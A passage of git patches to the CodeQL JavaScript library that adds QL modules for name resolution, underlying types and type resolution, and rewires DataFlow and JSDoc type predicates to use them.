exists(TypeAliasDeclaration alias | + node1 = alias.getDefinition() and + node2 = alias.getIdentifier() + ) + or + exists(VariableDeclarator decl | + node1 = decl.getInit() and + node2 = decl.getBindingPattern() + ) + or + exists(ParenthesizedTypeExpr type | + node1 = type.getElementType() and + node2 = type + ) + or + exists(ParenthesisExpr expr | + node1 = expr.getExpression() and + node2 = expr + ) + or + exists(NonNullAssertion assertion | + // For the time being we don't use this for nullness analysis, so just + // propagate through these assertions. + node1 = assertion.getExpression() and + node2 = assertion + ) + or + exists(FunctionTypeExpr fun | + node1 = fun.getFunction() and + node2 = fun + ) + or + exists(TypeofTypeExpr type | + node1 = type.getExpressionName() and + node2 = type + ) + or + exists(Closure::RequireCallExpr req | + node1.(Closure::ClosureModule).getClosureNamespace() = req.getClosureNamespace() and + node2 = req + ) + or + exists(Closure::ClosureModule mod | + node1 = mod.getExportsVariable() and + node2 = mod + ) + or + exists(ImmediatelyInvokedFunctionExpr fun, int i | + node1 = fun.getArgument(i) and + node2 = fun.getParameter(i) + ) + } + + /** + * Holds if there is a read from `node1` to `node2` that accesses the member `name`. + */ + predicate readStep(Node node1, string name, Node node2) { + exists(QualifiedTypeAccess access | + node1 = access.getQualifier() and + name = access.getIdentifier().getName() and + node2 = access + ) + or + exists(QualifiedNamespaceAccess access | + node1 = access.getQualifier() and + name = access.getIdentifier().getName() and + node2 = access + ) + or + exists(QualifiedVarTypeAccess access | + node1 = access.getQualifier() and + name = access.getIdentifier().getName() and + node2 = access + ) + or + exists(PropAccess access | + node1 = access.getBase() and + name = access.getPropertyName() and + node2 = access + ) + or + exists(ObjectPattern pattern | + node1 = pattern and + node2 = pattern.getPropertyPatternByName(name).getValuePattern() + ) + or + exists(ImportSpecifier spec | + node1 = spec.getImportDeclaration().getImportedPath() and + name = spec.getImportedName() and + node2 = spec.getLocal() + ) + or + exists(SelectiveReExportDeclaration exprt, ExportSpecifier spec | + spec = exprt.getASpecifier() and + node1 = exprt.getImportedPath() and + name = spec.getLocalName() and + node2 = spec.getLocal() + ) + or + exists(JSDocQualifiedTypeAccess expr | + node1 = expr.getBase() and + name = expr.getName() and + node2 = expr + ) + } + + private signature module TypeResolutionInputSig { + /** + * Holds if flow is permitted through the given variable. + */ + predicate isRelevantVariable(LexicalName var); + } + + /** + * A local variable with exactly one definition, not counting implicit initialization. + */ + private class EffectivelyConstantVariable extends LocalVariable { + EffectivelyConstantVariable() { + count(SsaExplicitDefinition ssa | ssa.getSourceVariable() = this) <= 1 // count may be zero if ambient + } + } + + /** Configuration for propagating values and namespaces */ + private module ValueConfig implements TypeResolutionInputSig { + predicate isRelevantVariable(LexicalName var) { + var instanceof EffectivelyConstantVariable + or + // We merge the namespace and value declaration spaces as it seems there is + // no need to distinguish them in practice. + var instanceof LocalNamespaceName + } + } + + /** + * Associates information about values, such as references to a class, module, or namespace. + */ + module ValueFlow = FlowImpl; + + private module TypeConfig implements TypeResolutionInputSig { + predicate isRelevantVariable(LexicalName var) { var instanceof LocalTypeName } + } + + /** + * Associates nodes with information about types. + */ + module TypeFlow = FlowImpl; + + private module FlowImpl { + /** + * Gets the exported member of `mod` named `name`. + */ + Node getModuleExport(ModuleLike mod, string name) { + exists(ExportDeclaration exprt | + mod = exprt.getContainer() and + exprt.exportsAs(result, name) and + S::isRelevantVariable(result) + ) + or + exists(ExportNamespaceSpecifier spec | + result = spec and + mod = spec.getContainer() and + name = spec.getExportedName() + ) + or + exists(SelectiveReExportDeclaration exprt, ExportSpecifier spec | + // `export { A as B } from 'blah'` + // This is not covered by `exportsAs` above because neither A or B is a LexicalName + // (both are property names) so it doesn't fit the interface of `exportsAs`. + spec = exprt.getASpecifier() and + mod = exprt.getContainer() and + name = spec.getExportedName() and + result = spec.getLocal() + ) + or + exists(EnumDeclaration enum | + mod = enum and + result = enum.getMemberByName(name).getIdentifier() + ) + or + storeToVariable(result, name, mod.(Closure::ClosureModule).getExportsVariable()) + } + + /** + * Holds if `value` is stored in `target.prop`. Only needs to recognise assignments + * that are also recognised by JSDoc tooling such as the Closure compiler. + */ + private predicate storeToVariable(Expr value, string prop, LocalVariable target) { + exists(AssignExpr assign | + // exports.name = value + assign.getLhs().(PropAccess).accesses(target.getAnAccess(), prop) and + value = assign.getRhs() + ) + or + // exports = { name: value } + value = target.getAnAssignedExpr().(ObjectExpr).getPropertyByName(prop).getInit() + } + + /** Steps that only apply for this configuration. */ + private predicate specificStep(Node node1, Node node2) { + exists(LexicalName var | S::isRelevantVariable(var) | + node1.(LexicalDecl).getALexicalName() = var and + node2 = var + or + node1 = var and + node2.(LexicalAccess).getALexicalName() = var + or + node1 = var and + node2.(JSDocLocalTypeAccess).getALexicalName() = var + ) + or + exists(Node base, string name, ModuleLike mod | + readStep(base, name, node2) and + base = trackModule(mod) and + node1 = getModuleExport(mod, name) + ) + } + + /** + * Holds if data should propagate from `node1` to `node2`. + */ + pragma[inline] + predicate step(Node node1, Node node2) { + commonStep(node1, node2) + or + specificStep(node1, node2) + } + + /** Helps track flow from a particular set of source nodes. */ + module Track { + /** Gets the set of nodes reachable from `source`. */ + Node track(Node source) { + isSource(source) and + result = source + or + step(track(source), result) + } + } + + signature class AstNodeSig extends AstNode; + + /** Helps track flow from a particular set of source nodes. */ + module TrackNode { + /** Gets the set of nodes reachable from `source`. */ + Node track(Source source) { + result = source + or + step(track(source), result) + } + } + } + + /** + * Gets a node to which the given module flows. + */ + predicate trackModule = ValueFlow::TrackNode::track/1; + + /** + * Holds if `moduleName` appears to start with a package name, as opposed to a relative file import. + */ + bindingset[moduleName] + private predicate isExternalModuleName(string moduleName) { + not moduleName.regexpMatch("^(\\.|/).*") + } + + bindingset[name] + private string normalizeModuleName(string name) { + result = + name.regexpReplaceAll("^node:", "") + .regexpReplaceAll("\\.[jt]sx?$", "") + .regexpReplaceAll("/(index)?$", "") + } + + /** Appends a name onto a qualified name */ + bindingset[a, b] + string append(string a, string b) { + if b = "default" + then result = a + else ( + (if a = "" or b = "" then result = a + b else result = a + "." + b) and + result.length() < 100 + ) + } + + private predicate needsQualifiedName(Node node) { + node = any(JSDocLocalTypeAccess t).getALexicalName().(Variable) + or + exists(Node prev | needsQualifiedName(prev) | + ValueFlow::step(node, prev) + or + readStep(node, _, prev) + ) + } + + /** + * Holds if `node` is a reference to the given module, or a qualified name rooted in that module. + * + * If `qualifiedName` is empty, `node` refers to the module itself. + * + * If `mod` is the string `"global"`, `node` refers to a global access path. + * + * Unlike `trackModule`, this is intended to track uses of external packages. + */ + predicate nodeRefersToModule(Node node, string mod, string qualifiedName) { + exists(PathExpr path | + path = any(Import imprt).getImportedPath() or + path = any(ReExportDeclaration e).getImportedPath() + | + node = path and + mod = normalizeModuleName(path.getValue()) and + isExternalModuleName(mod) and + qualifiedName = "" + ) + or + mod = "global" and + exists(LocalNamespaceAccess access | + node = access and + not exists(access.getLocalNamespaceName()) and + access.getName() = qualifiedName + ) + or + mod = "global" and + exists(JSDocLocalTypeAccess access | + node = access and + not exists(access.getALexicalName()) and + access.getName() = qualifiedName + ) + or + mod = "global" and + exists(GlobalVarAccess access | + node = access and + needsQualifiedName(access) and // restrict number of qualified names we generate + access.getName() = qualifiedName + ) + or + mod = "global" and + qualifiedName = node.(Closure::RequireCallExpr).getClosureNamespace() + or + // Additionally track through bulk re-exports (`export * from 'mod`). + // These are normally handled by 'exportAs' which supports various shadowing rules, + // but has no effect when the ultimate re-exported module is not resolved to a Module. + // We propagate external module refs through bulk re-exports and ignore shadowing rules. + exists(BulkReExportDeclaration reExport | + nodeRefersToModule(reExport.getImportedPath(), mod, qualifiedName) and + node = reExport.getContainer() + ) + or + exists(Node mid | + nodeRefersToModule(mid, mod, qualifiedName) and + ValueFlow::step(mid, node) + ) + or + exists(Node mid, string prefix, string step | + nodeRefersToModule(mid, mod, prefix) and + readStep(mid, step, node) and + qualifiedName = append(prefix, step) + ) + } +} From d61f576324d3a2a0ed0d8ac8617122dc3fca1b94 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:03:47 +0200 Subject: [PATCH 033/271] JS: Add UnderlyingTypes.qll --- .../javascript/internal/UnderlyingTypes.qll | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100644 javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll diff --git a/javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll b/javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll new file mode 100644 index 00000000000..8f6628278c4 --- /dev/null +++ b/javascript/ql/lib/semmle/javascript/internal/UnderlyingTypes.qll @@ -0,0 +1,128 @@ +/** + * Provides name resolution and propagates type information. + */ + +private import javascript +private import semmle.javascript.internal.NameResolution::NameResolution + +/** + * Provides name resolution and propagates type information. + */ +module UnderlyingTypes { + private predicate subtypeStep(Node node1, Node node2) { + exists(ClassOrInterface cls | + ( + node1 = cls.getSuperClass() or + node1 = cls.getASuperInterface() + ) and + node2 = cls + ) + } + + predicate underlyingTypeStep(Node node1, Node node2) { + exists(UnionOrIntersectionTypeExpr type | + node1 = type.getAnElementType() and + node2 = type + ) + or + exists(ReadonlyTypeExpr type | + node1 = type.getElementType() and + node2 = type + ) + or + exists(OptionalTypeExpr type | + node1 = type.getElementType() and + node2 = type + ) + or + exists(GenericTypeExpr type | + node1 = type.getTypeAccess() and + node2 = type + ) + or + exists(ExpressionWithTypeArguments e | + node1 = e.getExpression() and + node2 = e + ) + or + exists(JSDocUnionTypeExpr type | + node1 = type.getAnAlternative() and + node2 = type + ) + or + exists(JSDocNonNullableTypeExpr type | + node1 = type.getTypeExpr() and + node2 = type + ) + or + exists(JSDocNullableTypeExpr type | + node1 = type.getTypeExpr() and + node2 = type + ) + or + exists(JSDocAppliedTypeExpr type | + node1 = type.getHead() and + node2 = type + ) + or + exists(JSDocOptionalParameterTypeExpr type | + node1 = type.getUnderlyingType() and + node2 = type + ) + } + + predicate nodeHasUnderlyingType(Node node, string mod, string name) { + nodeRefersToModule(node, mod, name) + or + exists(JSDocLocalTypeAccess type | + node = type and + not exists(type.getALexicalName()) and + not type = any(JSDocQualifiedTypeAccess t).getBase() and + name = type.getName() and + mod = "global" + ) + or + exists(LocalTypeAccess type | + node = type and + not exists(type.getLocalTypeName()) and + name = type.getName() and + mod = "global" + ) + or + exists(Node mid | nodeHasUnderlyingType(mid, mod, name) | + TypeFlow::step(mid, node) + or + underlyingTypeStep(mid, node) + or + subtypeStep(mid, node) + ) + } + + pragma[nomagic] + predicate nodeHasUnderlyingType(Node node, string name) { + nodeHasUnderlyingType(node, "global", name) + } + + predicate nodeHasUnderlyingClassType(Node node, DataFlow::ClassNode cls) { + node = cls.getAstNode() + or + exists(string name | + classHasGlobalName(cls, name) and + nodeHasUnderlyingType(node, name) + ) + or + exists(Node mid | nodeHasUnderlyingClassType(mid, cls) | + TypeFlow::step(mid, node) + or + underlyingTypeStep(mid, node) + // Note: unlike for external types, we do not use subtype steps here. + // The caller is responsible for handling the class hierarchy. + ) + } + + pragma[nomagic] + private predicate classHasGlobalName(DataFlow::ClassNode cls, string name) { + cls.flowsTo(AccessPath::getAnAssignmentTo(name)) and + not cls.getTopLevel().isExterns() // don't propagate externs classes + } +} From fc580a5f78f56afc004d75ae9aab236a4abd7c6e Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:04:03 +0200 Subject: [PATCH 034/271] JS: Add TypeResolution.qll --- .../javascript/internal/TypeResolution.qll | 384 ++++++++++++++++++ 1 file changed, 384 insertions(+) create mode 100644 javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll new file mode 100644 index 00000000000..61293f29978 --- /dev/null +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -0,0 +1,384 @@ +private import javascript +private import semmle.javascript.internal.NameResolution::NameResolution +private import semmle.javascript.internal.UnderlyingTypes +private import semmle.javascript.dataflow.internal.sharedlib.SummaryTypeTracker as SummaryTypeTracker + +module TypeResolution { + predicate trackClassValue = ValueFlow::TrackNode::track/1; + + predicate trackType = TypeFlow::TrackNode::track/1; + + Node trackFunctionType(Function fun) { + result = fun + or + exists(Node mid | mid = trackFunctionType(fun) | + TypeFlow::step(mid, result) + or + UnderlyingTypes::underlyingTypeStep(mid, result) + ) + } + + predicate trackFunctionValue = ValueFlow::TrackNode::track/1; + + /** + * Gets the representative for the type containing the given member. + * + * For non-static members this is simply the enclosing type declaration. + * + * For static members we use the class's `Variable` as representative for the type of the class object. + */ + private Node getMemberBase(MemberDeclaration member) { + if member.isStatic() + then result = member.getDeclaringClass().getVariable() + else result = member.getDeclaringType() + } + + /** + * Holds if `host` is a type with a `content` of type `memberType`. + */ + private predicate typeMember(Node host, DataFlow::Content content, Node memberType) { + exists(MemberDeclaration decl | host = getMemberBase(decl) | + exists(FieldDeclaration field | + decl = field and + content.asPropertyName() = field.getName() and + memberType = field.getTypeAnnotation() + ) + or + exists(MethodDeclaration method | + decl = method and + content.asPropertyName() = method.getName() and + memberType = method.getBody() // use the Function as representative for the function type + ) + or + decl instanceof IndexSignature and + memberType = decl.(IndexSignature).getBody().getReturnTypeAnnotation() and + content.isUnknownArrayElement() + ) + or + // Ad-hoc support for array types. We don't support generics in general currently, we just special-case arrays. + content.isUnknownArrayElement() and + ( + memberType = host.(ArrayTypeExpr).getElementType() + or + exists(GenericTypeExpr type | + host = type and + type.getTypeAccess().(LocalTypeAccess).getName() = ["Array", "ReadonlyArray"] and + memberType = type.getTypeArgument(0) + ) + or + exists(JSDocAppliedTypeExpr type | + host = type and + type.getHead().(JSDocLocalTypeAccess).getName() = "Array" and + memberType = type.getArgument(0) + ) + ) + or + // Inherit members from base types + exists(ClassOrInterface baseType | typeMember(baseType, content, memberType) | + host.(ClassDefinition).getSuperClass() = trackClassValue(baseType) + or + host.(ClassOrInterface).getASuperInterface() = trackType(baseType) + ) + } + + /** + * Holds `use` refers to `host`, and `host` has type members. + * + * Currently steps through unions and intersections, which acts as a basic + * approximation to the unions/intersection of objects. + */ + private predicate typeMemberHostReaches(Node host, Node use) { + typeMember(host, _, _) and + use = host + or + exists(Node mid | typeMemberHostReaches(host, mid) | + TypeFlow::step(mid, use) + or + UnderlyingTypes::underlyingTypeStep(mid, use) + ) + } + + /** + * Holds if there is a read from from `object` to `member` that reads `contents`. + */ + private predicate valueReadStep(Node object, DataFlow::ContentSet contents, Node member) { + member.(PropAccess).accesses(object, contents.asPropertyName()) + or + object.(ObjectPattern).getPropertyPatternByName(contents.asPropertyName()).getValuePattern() = + member + or + SummaryTypeTracker::basicLoadStep(object.(AST::ValueNode).flow(), + member.(AST::ValueNode).flow(), contents) + } + + private predicate callTarget(InvokeExpr call, Function target) { + exists(ClassDefinition cls | + valueHasType(call.(NewExpr).getCallee(), trackClassValue(cls)) and + target = cls.getConstructor().getBody() + ) + or + valueHasType(call.(InvokeExpr).getCallee(), trackFunctionValue(target)) + or + valueHasType(call.(InvokeExpr).getCallee(), trackFunctionType(target)) and + ( + call instanceof NewExpr and + target = any(ConstructorTypeExpr t).getFunction() + or + call instanceof CallExpr and + target = any(PlainFunctionTypeExpr t).getFunction() + ) + or + exists(InterfaceDefinition interface, CallSignature sig | + valueHasType(call.(InvokeExpr).getCallee(), trackType(interface)) and + sig = interface.getACallSignature() and + target = sig.getBody() + | + call instanceof NewExpr and + sig instanceof ConstructorCallSignature + or + call instanceof CallExpr and + sig instanceof FunctionCallSignature + ) + } + + private predicate functionReturnType(Function func, Node returnType) { + returnType = func.getReturnTypeAnnotation() + or + not exists(func.getReturnTypeAnnotation()) and + exists(Function functionType | + contextualType(func, trackFunctionType(functionType)) and + returnType = functionType.getReturnTypeAnnotation() + ) + } + + bindingset[name] + private predicate isPromiseTypeName(string name) { + name.regexpMatch(".?(Promise|Thenable)(Like)?") + } + + private Node unwrapPromiseType(Node promiseType) { + exists(GenericTypeExpr type | + promiseType = type and + isPromiseTypeName(type.getTypeAccess().(LocalTypeAccess).getName()) and + result = type.getTypeArgument(0) + ) + or + exists(JSDocAppliedTypeExpr type | + promiseType = type and + isPromiseTypeName(type.getHead().(JSDocLocalTypeAccess).getName()) and + result = type.getArgument(0) + ) + } + + private predicate contextualType(Node value, Node type) { + exists(InvokeExpr call, Function target, int i | + callTarget(call, target) and + value = call.getArgument(i) and + type = target.getParameter(i).getTypeAnnotation() + ) + or + exists(Function lambda, Node returnType | + value = lambda.getAReturnedExpr() and + functionReturnType(lambda, returnType) + | + not lambda.isAsyncOrGenerator() and + type = returnType + or + lambda.isAsync() and + type = unwrapPromiseType(returnType) + ) + or + exists(ObjectExpr object, Node objectType, Node host, string name | + contextualType(object, objectType) and + typeMemberHostReaches(host, objectType) and + typeMember(host, any(DataFlow::Content c | c.asPropertyName() = name), type) and + value = object.getPropertyByName(name).getInit() + ) + or + exists(ArrayExpr array, Node arrayType, Node host | + contextualType(array, arrayType) and + typeMemberHostReaches(host, arrayType) and + typeMember(host, any(DataFlow::Content c | c.isUnknownArrayElement()), type) and + value = array.getAnElement() + ) + } + + /** + * Holds if `value` has the given `type`. + */ + predicate valueHasType(Node value, Node type) { + value.(BindingPattern).getTypeAnnotation() = type + or + exists(VarDecl decl | + // ValueFlow::step is restricted to variables with at most one assignment. Allow the type annotation + // of a variable to propagate to its uses, even if the variable has multiple assignments. + type = decl.getTypeAnnotation() and + value = decl.getVariable().(LocalVariable).getAnAccess() + ) + or + exists(MemberDeclaration member | + value.(ThisExpr).getBindingContainer() = member.getInit() and + type = getMemberBase(member) + ) + or + exists(ClassDefinition cls | + value = cls and + type = cls.getVariable() + ) + or + exists(FunctionDeclStmt fun | + value = fun and + type = fun.getVariable() + ) + or + exists(Function target | callTarget(value, target) | + type = target.getReturnTypeAnnotation() + or + exists(ClassDefinition cls | + target = cls.getConstructor().getBody() and + type = cls + ) + ) + or + // Contextual typing for parameters + exists(Function lambda, Function functionType, int i | + contextualType(lambda, trackFunctionType(functionType)) + or + exists(InterfaceDefinition interface | + contextualType(lambda, trackType(interface)) and + functionType = interface.getACallSignature().getBody() + ) + | + value = lambda.getParameter(i) and + not exists(value.(Parameter).getTypeAnnotation()) and + type = functionType.getParameter(i).getTypeAnnotation() + ) + or + exists(Node mid | valueHasType(mid, type) | ValueFlow::step(mid, value)) + or + exists(Node mid, Node midType, DataFlow::ContentSet contents, Node host | + valueReadStep(mid, contents, value) and + valueHasType(mid, midType) and + typeMemberHostReaches(host, midType) and + typeMember(host, contents.getAReadContent(), type) + ) + } + + signature predicate nodeSig(Node node); + + /** + * Tracks types that have a certain property, in the sense that: + * - an intersection type has the property if any member has the property + * - a union type has the property if all its members have the property + */ + module TrackMustProp { + predicate hasProperty(Node node) { + directlyHasProperty(node) + or + exists(Node mid | + hasProperty(mid) and + TypeFlow::step(mid, node) + ) + or + unionHasProp(node) + or + hasProperty(node.(IntersectionTypeExpr).getAnElementType()) + or + exists(ConditionalTypeExpr cond | + node = cond and + hasProperty(cond.getTrueType()) and + hasProperty(cond.getFalseType()) + ) + } + + private predicate unionHasProp(UnionTypeExpr node, int n) { + hasProperty(node.getElementType(0)) and n = 1 + or + unionHasProp(node, n - 1) and + hasProperty(node.getElementType(n - 1)) + } + + private predicate unionHasProp(UnionTypeExpr node) { + unionHasProp(node, node.getNumElementType()) + } + } + + module ValueHasProperty { + predicate valueHasProperty(Node value) { + exists(Node type | + valueHasType(value, type) and + typeHasProperty(type) + ) + } + } + + private predicate isSanitizingPrimitiveTypeBase(Node node) { + node.(TypeExpr).isNumbery() + or + node.(TypeExpr).isBooleany() + or + node.(TypeExpr).isNull() + or + node.(TypeExpr).isUndefined() + or + node.(TypeExpr).isVoid() + or + node.(TypeExpr).isNever() + or + node instanceof LiteralTypeExpr + or + node = any(EnumMember m).getIdentifier() // enum members are constant + or + node instanceof EnumDeclaration // enums are unions of constants + } + + /** + * Holds if `node` refers to a type that is considered untaintable (if actually enforced at runtime). + * + * Specifically, the types `number`, `boolean`, `null`, `undefined`, `void`, `never`, as well as literal types (`"foo"`) + * and enums and enum members have this property. + */ + predicate isSanitizingPrimitiveType = + TrackMustProp::hasProperty/1; + + /** + * Holds if `value` has a type that is considered untaintable (if actually enforced at runtime). + * + * See `isSanitizingPrimitiveType`. + */ + predicate valueHasSanitizingPrimitiveType = + ValueHasProperty::valueHasProperty/1; + + private predicate isPromiseBase(Node node) { exists(unwrapPromiseType(node)) } + + /** + * Holds if the given type is a Promise object. Does not hold for unions unless all parts of the union are promises. + */ + predicate isPromiseType = TrackMustProp::hasProperty/1; + + /** + * Holds if the given value has a type that implied it is a Promise object. Does not hold for unions unless all parts of the union are promises. + */ + predicate valueHasPromiseType = ValueHasProperty::valueHasProperty/1; + + /** + * Holds if `type` contains `string` or `any`, possibly wrapped in a promise. + */ + predicate hasUnderlyingStringOrAnyType(Node type) { + type.(TypeAnnotation).isStringy() + or + type.(TypeAnnotation).isAny() + or + type instanceof StringLiteralTypeExpr + or + type instanceof TemplateLiteralTypeExpr + or + exists(Node mid | hasUnderlyingStringOrAnyType(mid) | + TypeFlow::step(mid, type) + or + UnderlyingTypes::underlyingTypeStep(mid, type) + or + type = unwrapPromiseType(mid) + ) + } +} From b923eac9be22921e0eef39395300aa4fdea864c5 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:05:19 +0200 Subject: [PATCH 035/271] JS: Use underlying types in DataFlow::Node --- .../semmle/javascript/dataflow/DataFlow.qll | 47 +++++++++---------- 1 file changed, 21 insertions(+), 26 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll b/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll index 46801bd1ad7..df3d0d5ff8b 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/DataFlow.qll @@ -27,6 +27,9 @@ private import internal.PreCallGraphStep private import semmle.javascript.internal.CachedStages private import semmle.javascript.dataflow.internal.DataFlowPrivate as Private private import semmle.javascript.dataflow.internal.VariableOrThis +private import semmle.javascript.internal.NameResolution +private import semmle.javascript.internal.UnderlyingTypes +private import semmle.javascript.internal.TypeResolution module DataFlow { /** @@ -189,26 +192,6 @@ module DataFlow { FlowSteps::identityFunctionStep(result, this) } - /** - * Gets the static type of this node as determined by the TypeScript type system. - */ - private Type getType() { - exists(AST::ValueNode node | - this = TValueNode(node) and - ast_node_type(node, result) - ) - or - exists(BindingPattern pattern | - this = lvalueNode(pattern) and - ast_node_type(pattern, result) - ) - or - exists(MethodDefinition def | - this = TThisNode(def.getInit()) and - ast_node_type(def.getDeclaringClass(), result) - ) - } - /** * Gets the type annotation describing the type of this node, * provided that a static type could not be found. @@ -229,6 +212,15 @@ module DataFlow { ) } + private NameResolution::Node getNameResolutionNode() { + this = valueNode(result) + or + exists(PropertyPattern pattern | + result = pattern.getValuePattern() and + this = TPropNode(pattern) + ) + } + /** * Holds if this node is annotated with the given named type, * or is declared as a subtype thereof, or is a union or intersection containing such a type. @@ -236,9 +228,10 @@ module DataFlow { cached predicate hasUnderlyingType(string globalName) { Stages::TypeTracking::ref() and - this.getType().hasUnderlyingType(globalName) - or - this.getFallbackTypeAnnotation().getAnUnderlyingType().hasQualifiedName(globalName) + exists(NameResolution::Node type | + TypeResolution::valueHasType(this.getNameResolutionNode(), type) and + UnderlyingTypes::nodeHasUnderlyingType(type, globalName) + ) } /** @@ -248,9 +241,11 @@ module DataFlow { cached predicate hasUnderlyingType(string moduleName, string typeName) { Stages::TypeTracking::ref() and - this.getType().hasUnderlyingType(moduleName, typeName) - or - this.getFallbackTypeAnnotation().getAnUnderlyingType().hasQualifiedName(moduleName, typeName) + moduleName != "global" and + exists(NameResolution::Node type | + TypeResolution::valueHasType(this.getNameResolutionNode(), type) and + UnderlyingTypes::nodeHasUnderlyingType(type, moduleName, typeName) + ) } /** From cca48c09b919436881d7008b8388f883e9e0ad82 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:08:23 +0200 Subject: [PATCH 036/271] JS: Use in TypeAnnotation.getClass and hasUnderlyingType predicates --- javascript/ql/lib/semmle/javascript/JSDoc.qll | 58 +---------------- .../lib/semmle/javascript/TypeAnnotations.qll | 32 +++++++++- .../ql/lib/semmle/javascript/TypeScript.qll | 62 +------------------ .../lib/semmle/javascript/frameworks/Nest.qll | 2 +- .../JSDoc/NameResolution/test.expected | 6 +- .../JSDoc/NameResolution/test.ql | 2 +- .../JSDoc/JSDocTypeAnnotations.expected | 3 +- .../JSDoc/JSDocTypeAnnotations.ql | 2 +- .../QualifiedNames.ql | 2 +- .../HasQualifiedNameFallback/Test.expected | 10 +-- .../HasQualifiedNameFallback/Test.ql | 10 +-- .../HasUnderlyingType.expected | 1 - 12 files changed, 53 insertions(+), 137 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/JSDoc.qll b/javascript/ql/lib/semmle/javascript/JSDoc.qll index 0f95023ce1f..85b7695cd70 100644 --- a/javascript/ql/lib/semmle/javascript/JSDoc.qll +++ b/javascript/ql/lib/semmle/javascript/JSDoc.qll @@ -415,7 +415,7 @@ class JSDocNamedTypeExpr extends JSDocTypeExpr { * - `foo.bar.Baz` has prefix `foo` and suffix `.bar.Baz`. * - `Baz` has prefix `Baz` and an empty suffix. */ - predicate hasNameParts(string prefix, string suffix) { + deprecated predicate hasNameParts(string prefix, string suffix) { not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate exists(string regex, string name | regex = "([^.]+)(.*)" | name = this.getRawName() and @@ -423,46 +423,6 @@ class JSDocNamedTypeExpr extends JSDocTypeExpr { suffix = name.regexpCapture(regex, 2) ) } - - pragma[noinline] - pragma[nomagic] - private predicate hasNamePartsAndEnv(string prefix, string suffix, JSDoc::Environment env) { - // Force join ordering - this.hasNameParts(prefix, suffix) and - env.isContainerInScope(this.getContainer()) - } - - /** - * Gets the qualified name of this name by resolving its prefix, if any. - */ - cached - private string resolvedName() { - exists(string prefix, string suffix, JSDoc::Environment env | - this.hasNamePartsAndEnv(prefix, suffix, env) and - result = env.resolveAlias(prefix) + suffix - ) - } - - override predicate hasQualifiedName(string globalName) { - globalName = this.resolvedName() - or - not exists(this.resolvedName()) and - globalName = this.getRawName() - } - - override DataFlow::ClassNode getClass() { - exists(string name | - this.hasQualifiedName(name) and - result.hasQualifiedName(name) - ) - or - // Handle case where a local variable has a reference to the class, - // but the class doesn't have a globally qualified name. - exists(string alias, JSDoc::Environment env | - this.hasNamePartsAndEnv(alias, "", env) and - result.getAClassReference().flowsTo(env.getNodeFromAlias(alias)) - ) - } } /** @@ -491,12 +451,6 @@ class JSDocAppliedTypeExpr extends @jsdoc_applied_type_expr, JSDocTypeExpr { * For example, in `Array`, `string` is the only argument type. */ JSDocTypeExpr getAnArgument() { result = this.getArgument(_) } - - override predicate hasQualifiedName(string globalName) { - this.getHead().hasQualifiedName(globalName) - } - - override DataFlow::ClassNode getClass() { result = this.getHead().getClass() } } /** @@ -516,8 +470,6 @@ class JSDocNullableTypeExpr extends @jsdoc_nullable_type_expr, JSDocTypeExpr { predicate isPrefix() { jsdoc_prefix_qualifier(this) } override JSDocTypeExpr getAnUnderlyingType() { result = this.getTypeExpr().getAnUnderlyingType() } - - override DataFlow::ClassNode getClass() { result = this.getTypeExpr().getClass() } } /** @@ -537,8 +489,6 @@ class JSDocNonNullableTypeExpr extends @jsdoc_non_nullable_type_expr, JSDocTypeE predicate isPrefix() { jsdoc_prefix_qualifier(this) } override JSDocTypeExpr getAnUnderlyingType() { result = this.getTypeExpr().getAnUnderlyingType() } - - override DataFlow::ClassNode getClass() { result = this.getTypeExpr().getClass() } } /** @@ -643,8 +593,6 @@ class JSDocOptionalParameterTypeExpr extends @jsdoc_optional_type_expr, JSDocTyp override JSDocTypeExpr getAnUnderlyingType() { result = this.getUnderlyingType().getAnUnderlyingType() } - - override DataFlow::ClassNode getClass() { result = this.getUnderlyingType().getClass() } } /** @@ -679,7 +627,7 @@ module JSDoc { /** * A statement container which may declare JSDoc name aliases. */ - class Environment extends StmtContainer { + deprecated class Environment extends StmtContainer { /** * Gets the fully qualified name aliased by the given unqualified name * within this container. @@ -729,7 +677,7 @@ module JSDoc { } pragma[noinline] - private predicate isTypenamePrefix(string name) { + deprecated private predicate isTypenamePrefix(string name) { any(JSDocNamedTypeExpr expr).hasNameParts(name, _) } } diff --git a/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll b/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll index d10b60b92b5..318ad2f8873 100644 --- a/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll +++ b/javascript/ql/lib/semmle/javascript/TypeAnnotations.qll @@ -4,6 +4,8 @@ import javascript private import internal.StmtContainers +private import internal.NameResolution +private import internal.UnderlyingTypes /** * A type annotation, either in the form of a TypeScript type or a JSDoc comment. @@ -75,14 +77,38 @@ class TypeAnnotation extends @type_annotation, NodeInStmtContainer { TypeAnnotation getAnUnderlyingType() { result = this } /** + * DEPRECATED. Use `hasUnderlyingType` instead. + * * Holds if this is a reference to the type with qualified name `globalName` relative to the global scope. */ - predicate hasQualifiedName(string globalName) { none() } + deprecated predicate hasQualifiedName(string globalName) { + UnderlyingTypes::nodeHasUnderlyingType(this, globalName) + } /** + * DEPRECATED. Use `hasUnderlyingType` instead. + * * Holds if this is a reference to the type exported from `moduleName` under the name `exportedName`. */ - predicate hasQualifiedName(string moduleName, string exportedName) { none() } + deprecated predicate hasQualifiedName(string moduleName, string exportedName) { + UnderlyingTypes::nodeHasUnderlyingType(this, moduleName, exportedName) + 